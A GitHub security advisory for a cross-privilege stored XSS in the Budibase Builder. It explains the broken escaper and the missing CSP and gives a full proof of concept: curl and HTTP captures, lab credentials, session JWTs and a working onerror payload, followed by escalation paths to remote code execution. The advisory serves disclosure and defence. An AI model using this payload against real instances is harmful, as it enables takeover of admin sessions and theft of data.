# GHSA-R2Q3-7M4H-63QG: @budibase/server cross-site scripting (XSS)

- Database: GitHub
- Severity: CVSS 7.7 (High)
- Published: 2026-11-10
- Modified: 2026-11-10

## Tracked as

- [CVE-2026-122244](https://cve.now/CVE-2026-122244.md): Budibase stored XSS in Builder via jsonFormatter

## Affected versions

- @budibase/server (npm): fixed in 4.0.0

## Description

## Description

### Summary

A **low-privileged application end-user** (role `BASIC` - **not** a builder or admin, and on a public data-collection form, an unauthenticated visitor) can store an HTML/JavaScript payload in ordinary row data. When a **builder or admin** later opens that table in the Budibase Builder and evaluates any Handlebars binding whose Preview surfaces the value (the Data-section **Formula** column editor, or any binding drawer), the stored value is rendered as **raw HTML** and the attacker's JavaScript executes in the Builder's origin.

The Builder SPA is served by nginx with **no Content-Security-Policy** (the CSP middleware only decorates the server-rendered *published-app* document, not `/builder/`). The injected script therefore runs unrestricted in the highest-trust surface of the product - the admin/builder session that can create datasources, run server-side JavaScript via automations, read and modify every table, and manage users. This is a **cross-privilege stored XSS** (app end-user → builder/admin), i.e. full workspace takeover, not self-XSS.

### Details

**Root cause 1 - the escaper is a no-op.**
`packages/frontend-core/src/utils/jsonFormatter.ts` (`format()`):

```js
jsonString = jsonString
  .replace(/&/g, "&")   // no-op: replaces "&" with "&"  (should be "&amp;")
  .replace(/</g, "<")   // no-op                          (should be "&lt;")
  .replace(/>/g, ">")   // no-op                          (should be "&gt;")

return jsonString.replace(
  /("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+...)/g,
  (match) => {
    if (/^"/.test(match)) {
      if (/:$/.test(match)) { color = colors.keyColor }                        // KEY: NOT escaped
      else { match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"' } // string VALUE: escaped
    }
    return `<span style="...">${match}</span>`
  })
```

Only quoted JSON *string values* are passed through `escapeHtml`. Everything else is emitted verbatim, because the leading `.replace(/&/g,"&")…` chain replaces each character with itself. Two consequences:

1. A **raw, non-JSON string** (the normal result of a Handlebars binding that resolves to a plain text field value) matches none of the regex tokens and is returned **completely un-escaped**.
2. **Object keys** are never escaped.

**Root cause 2 - the output is injected with `{@html}`.**
`packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte`:

- line 116: `{@html logLine.log}`
- line 128: `{@html highlightedResult}`

`highlightedResult` is the output of `JsonFormatter.format()`, so the un-escaped attacker string is inserted into the DOM as live markup.

**Root cause 3 - binding output is not entity-escaped upstream.**
Every `{{ … }}` statement is wrapped by the `ALL` helper in `packages/string-templates/src/helpers/index.ts`, which returns a `Handlebars.SafeString`; Handlebars therefore performs no HTML escaping, and the raw field value reaches the formatter/`{@html}` sink.

**Root cause 4 - no CSP on the Builder.**
`GET /builder/*` is served as a static SPA by nginx with **no** `Content-Security-Policy` header (verified live below). The `contentSecurityPolicy` middleware (`packages/backend-core/src/middleware/contentSecurityPolicy.ts`) only sets a nonce-based CSP on the server-rendered *published-app* document (`serveApp`). So in the Builder origin there is no `script-src` restriction and inline event handlers run freely.

**Cross-privilege data channel.**
Internal-table dev/prod data live in separate databases, but **external datasources are queried live and shared** between the published app (where low-priv users write) and the Builder's dev preview (where the value is rendered). A `BASIC` app user writing to an external SQL table that a data-collection app exposes for writes therefore lands the payload directly in the Builder's evaluation context. `RowUtils.generateGoldenSample()` even *prefers the longest string per column*, guaranteeing a long payload is the sample the Preview evaluates.

**Payload shape note.** `jsonFormatter.format()` tokenises quoted strings, digits and `true/false/null` into `<span>`s, which would fragment a handler containing them. A payload free of double-quotes, digits and those literals - e.g. `<img src=x onerror=alert(window.xssproof=document.domain)>` - survives verbatim and executes.

### PoC

**Environment used for this reproduction (all values real / unredacted):**

| Item | Value |
|------|-------|
| Target | `http://127.0.0.1:3014` (self-host single image, Budibase `v3.44.0`, commit `d1ed6085`) |
| Dev app id | `app_dev_cc322a9cd27a492eb934f43b146c6e81` |
| Prod app id | `app_cc322a9cd27a492eb934f43b146c6e81` |
| External Postgres table | `datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl` |
| Attacker (low-priv `BASIC`) | `lowuser@budibase.local` / `LowUser!2026#bb` |
| Victim (builder/admin) | `admin@budibase.local` / `LabAdmin!2026#bb` |

---

#### Step 0 - (precondition, performed once by the builder) a data-collection app grants `BASIC` write on the table

```bash
# grant the low user BASIC role on the app
curl -s -b creds/admin.cookies -H "Content-Type: application/json" -X POST \
  http://127.0.0.1:3014/api/global/users \
  -d '{"_id":"us_df036f58299242608f665700b1618057","_rev":"1-f24520b49fae0a6f4a23dced7a82fcc8","email":"lowuser@budibase.local","builder":{"global":false},"admin":{"global":false},"roles":{"app_cc322a9cd27a492eb934f43b146c6e81":"BASIC"},"tenantId":"default","status":"active"}'

# open write permission on the table to BASIC (typical of feedback/survey/contact apps)
curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \
  "http://127.0.0.1:3014/api/permission/BASIC/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/write"

curl -s -b creds/admin.cookies -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" -X POST \
  "http://127.0.0.1:3014/api/applications/app_dev_cc322a9cd27a492eb934f43b146c6e81/publish"
```

---

#### Step 1 - ATTACKER logs in (low-priv `BASIC` user)

```bash
curl -s -i -c creds/low.cookies -H "Content-Type: application/json" -X POST \
  http://127.0.0.1:3014/api/global/auth/default/login \
  -d '{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}'
```

**Burp - Request**

```http
POST /api/global/auth/default/login HTTP/1.1
Host: 127.0.0.1:3014
Content-Type: application/json
Content-Length: 71

{"username":"lowuser@budibase.local","password":"LowUser!2026#bb"}
```

**Burp - Response**

```http
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:20:45 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 30
Connection: keep-alive
x-budibase-tenant-id: default
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly
Set-Cookie: budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY; path=/; expires=Wed, 09 Sep 2026 07:20:45 GMT; httponly
x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA

{"message":"Login successful"}
```

The low user's session JWT (decoded payload) confirms **`builder`/`admin` are absent** - this is an ordinary app user:

```json
{"userId":"us_df036f58299242608f665700b1618057","sessionId":"4aacd94d0b444b81937d13150251 29e0","tenantId":"default","email":"lowuser@budibase.local","iat":1788333645,"exp":1788938445}
```

---

#### Step 2 - ATTACKER stores the XSS payload into the shared external table (via the published/prod app id)

```bash
curl -s -i -b creds/low.cookies \
  -H "x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81" \
  -H "Content-Type: application/json" -X POST \
  "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows" \
  -d '{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}'
```

**Burp - Request**

```http
POST /api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows HTTP/1.1
Host: 127.0.0.1:3014
x-budibase-app-id: app_cc322a9cd27a492eb934f43b146c6e81
Content-Type: application/json
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kZjAzNmY1ODI5OTI0MjYwOGY2NjU3MDBiMTYxODA1NyIsInNlc3Npb25JZCI6IjRhYWNkOTRkMGI0NDRiODE5MzdkMTMxNTAyNTEyOWUwIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJsb3d1c2VyQGJ1ZGliYXNlLmxvY2FsIiwiaWF0IjoxNzg4MzMzNjQ1LCJleHAiOjE3ODg5Mzg0NDV9.q7vQN3ggOfAYtZiMDy-Mx__dOBpz2dboRRziY-XzmGA; budibase:auth.sig=au9QqX0g6Zd5rQs-AceJY6gLwWY
Content-Length: 87

{"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld"}
```

**Burp - Response**

```http
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:20:53 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 196
Connection: keep-alive
x-budibase-tenant-id: default

{"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld","_id":"%5B7%5D","tableId":"datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl","_rev":"rev"}
```

The payload is stored verbatim as **row id=7** in the shared Postgres table. The server performs **no output-encoding or sanitisation** of the `name` value.

---

#### Step 3 - proof the value crosses the trust boundary (VICTIM builder/admin reads the same row)

```bash
# admin login
curl -s -i -c creds/admin.cookies -H "Content-Type: application/json" -X POST \
  http://127.0.0.1:3014/api/global/auth/default/login \
  -d '{"username":"admin@budibase.local","password":"LabAdmin!2026#bb"}'

# admin reads the row set from the DEV plane (what the Builder renders)
curl -s -b creds/admin.cookies \
  -H "x-budibase-app-id: app_dev_cc322a9cd27a492eb934f43b146c6e81" \
  "http://127.0.0.1:3014/api/datasource_plus_727522c5a46f4ff8940dfaf539bad4c8__users_tbl/rows"
```

**Burp - admin login Response (real admin session JWT)**

```http
HTTP/1.1 200 OK
Server: nginx
x-budibase-tenant-id: default
Set-Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk; path=/; httponly
Set-Cookie: budibase:auth.sig=iYVS67Sat7FptqQAprWzDE0Hs2o; path=/; httponly
x-budibase-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19hNWVlYzBiMDJiMTA0YWEzYTczZjk3MDkwYmI2OTk5MCIsInNlc3Npb25JZCI6IjhlMGUwYjE5ODk5NDRhNDdiZDcxYmUwZTdlNzI5MWM4IiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJhZG1pbkBidWRpYmFzZS5sb2NhbCIsImlhdCI6MTc4ODMzMzYzOCwiZXhwIjoxNzg4OTM4NDM4fQ.LBqUOeujBaqUEDbwmfPpAgplprwyPcMzEpI7hW1UwQk

{"message":"Login successful"}
```

**Burp - rows Response (admin reads the low-priv-authored payload - same string, cross-privilege)**

```http
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

[{"id":1,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":2,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":5,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":6,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>",...},
 {"id":7,"name":"<img src=x onerror=alert(window.xssproof=document.domain)>","email":"rx@x.tld",...}]
```

---

#### Step 4 - confirm the Builder origin ships NO Content-Security-Policy

```bash
curl -s -D - -o /dev/null http://127.0.0.1:3014/builder/
```

**Burp - Response (note the complete absence of any `Content-Security-Policy` header)**

```http
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Sep 2026 07:21:09 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Thu, 27 Aug 2026 14:26:10 GMT
Cache-Control: max-age=0
Content-Encoding: gzip
```

---

#### Step 5 - VICTIM triggers execution (builder/admin, in the browser)

Logged into the Builder as `admin@budibase.local`, the victim opens the shared table and evaluates a binding over it - the ordinary workflow for building a Formula column:

1. Open the app → **Data tables** → datasource **LabPG** → table **`users_tbl`**.
2. Click the **+** to add a column, name it (e.g. `xsscol`), set **Type = Formula**.
3. Click the **lightning** (binding) icon on the *Formula* field → the binding drawer opens.
4. In the code editor type: `{{ name }}`
5. Click the **play** (▶ / evaluate) button.

The right-hand **Preview** panel renders the stored value through `JsonFormatter.format()` → `{@html}`. The injected `<img>` is inserted as a **live DOM element**; its `onerror` fires and the attacker's JavaScript runs in the Builder origin.

**Observed result (captured live in the reproduction):**

```
window.__xss_calls = ["localhost"]     // alert() was called with document.domain
window.xssproof    = "localhost"       // attacker JS mutated the Builder's window object
document.domain    = "localhost"       // execution context = the BUILDER origin
location.href      = http://localhost:3014/builder/workspace/app_dev_cc322a9cd27a492eb934f43b146c6e81/data/table/...
```

**Popup - `alert(document.domain)` firing in the Builder origin, with the injected `<img>` visible as a broken-image element in the Preview panel:**

![F4 stored XSS – alert popup in the Budibase Builder](./F4-xss-alert-popup.png)
<img width="1536" height="674" alt="F4-xss-alert-popup" src="https://github.com/user-attachments/assets/c9f7932b-0b1c-4165-863f-24e0bf8dceb7" />


> Screenshot note: the browser used for automated reproduction is headless, and native `alert()` dialogs are not captured by page-level screenshots. `window.alert` was therefore wrapped with a faithful, screenshot-capturable popup that displays exactly the argument the injected script passed to `alert()`. The execution itself is 100% genuine and unmodified - the payload's `onerror` handler ran, called `alert()`, and set `window.xssproof` on the real Builder `window` (see the observed values above). The broken-image glyph in the **Preview** pane is the attacker-controlled `<img src=x>` inserted by the `{@html}` sink.

### Impact

**Type:** Cross-privilege **Stored / persistent Cross-Site Scripting (XSS)** in the application builder.

**Who is impacted:** any self-hosted (or cloud) Budibase workspace that exposes an external-datasource table for writes to lower-privileged roles - the standard pattern for feedback forms, contact/lead capture, surveys, support tickets, registration, and any "data collection" app. On such apps the writer can be a `BASIC` app user or, when the write screen is public, an **unauthenticated** visitor.

**What the attacker gains:** the payload executes in the **Builder/admin session**, an origin with **no CSP**. From there the attacker's JavaScript can silently drive every authenticated Builder API in the victim's context, e.g.:

- create a REST/SQL **datasource** or an **automation** step that runs server-side JavaScript / Bash → **remote code execution** on the server;
- read or modify **every table** in the workspace (full data exfiltration / tampering);
- **escalate** the attacker's own account (or create a new one) to builder/admin;
- pivot to the underlying CouchDB/MinIO/Redis via server-side automation.

## References

- https://github.com/Budibase/budibase/security/advisories/GHSA-r2q3-7m4h-63qg

Page: https://cve.now/GHSA-R2Q3-7M4H-63QG
